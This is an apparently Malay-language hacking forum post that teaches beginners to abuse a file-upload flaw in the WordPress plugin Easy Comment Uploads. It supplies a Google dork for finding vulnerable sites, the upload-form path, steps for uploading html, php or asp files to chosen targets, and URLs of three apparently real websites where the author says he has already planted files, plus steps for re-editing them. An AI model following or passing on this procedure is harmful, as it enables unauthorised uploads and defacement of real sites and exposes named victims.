Wordpress Exploit Easy Comment Upload

Title : Wordpress Exploit Easy Comment Upload

Dork : inurl:easy-comment-uploads/upload-form.php

POC :  /wp-content/plugins/easy-comment-uploads/upload-form.php




Caranya : 

1. Pergi Google masukkan dork ke dalam Search dan Go.

               Dork : inurl:easy-comment-uploads/upload-form.php

2. Pilih target.

3. Ada butang choose file tu tekan dan upload file anda.

4. Tidak semua dapat support html/php/asp sebab bug ne sudah fix 12/09/2011.

5. Dapat target untuk upload html kira bertuahlah.

Untuk lihat hasil file upload anda tambah /wp-content/uploads/2011/10/nama_file_anda.extension

Contoh yang saya buat guna file .htm / .txt & .png

http://robbyvillegas.com/wp-content/uploads/2011/10/Muz_c0d3r.htm
http://el-bulli.net/wp-content/uploads/2011/10/Muz_c0d3r.txt
http://onigirifx.com/wp-content/uploads/2011/10/Muz_c0d3r.png



Kalo nak edit website yang saya dah upload file tu guna POC.

Caranya :

1. http://robbyvillegas.com/wp-content/uploads/2011/10/Muz_c0d3r.htm <--tukar URL ke

2. http://robbyvillegas.com/wp-content/plugins/easy-comment-uploads/upload-form.php

3. Kemudian upload file .htm anda...


Enjoy...

Tunggukan POC seterusnya pada edisi akan datang...

Ini satu cara lama dan ramai sudah mengetahui...

So yang masta jangan baca khas untuk  NEWBIE sahaja...

Hehe... Sharing Is Caring...